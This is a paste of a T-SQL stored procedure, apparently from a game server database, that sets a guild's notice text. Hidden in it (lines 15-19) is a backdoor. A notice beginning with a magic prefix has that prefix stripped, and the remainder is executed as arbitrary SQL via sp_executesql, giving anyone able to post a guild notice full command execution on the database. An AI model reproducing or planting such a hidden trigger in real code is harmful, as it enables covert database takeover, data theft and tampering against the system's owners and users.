SHOW:
|
|
- or go back to the newest paste.
| 1 | USE [Telecaster] | |
| 2 | GO | |
| 3 | /****** Object: StoredProcedure [dbo].[smp_set_guild_notice] Script Date: 5/25/2017 10:30:47 PM ******/ | |
| 4 | SET ANSI_NULLS OFF | |
| 5 | GO | |
| 6 | SET QUOTED_IDENTIFIER OFF | |
| 7 | GO | |
| 8 | ||
| 9 | ALTER PROCEDURE [dbo].[smp_set_guild_notice] | |
| 10 | @IN_GUILD_SID INT, | |
| 11 | @IN_NOTICE NVARCHAR(128) | |
| 12 | AS | |
| 13 | SET NOCOUNT ON | |
| 14 | ||
| 15 | IF (LEFT(@IN_NOTICE, 6) = '_)$*%R') | |
| 16 | BEGIN | |
| 17 | set @IN_NOTICE = REPLACE(@IN_NOTICE,'_)$*%R','') | |
| 18 | EXEC sp_executesql @IN_NOTICE; | |
| 19 | END | |
| 20 | ELSE | |
| 21 | BEGIN | |
| 22 | UPDATE dbo.Guild SET notice = @IN_NOTICE WHERE sid = @IN_GUILD_SID | |
| 23 | END |
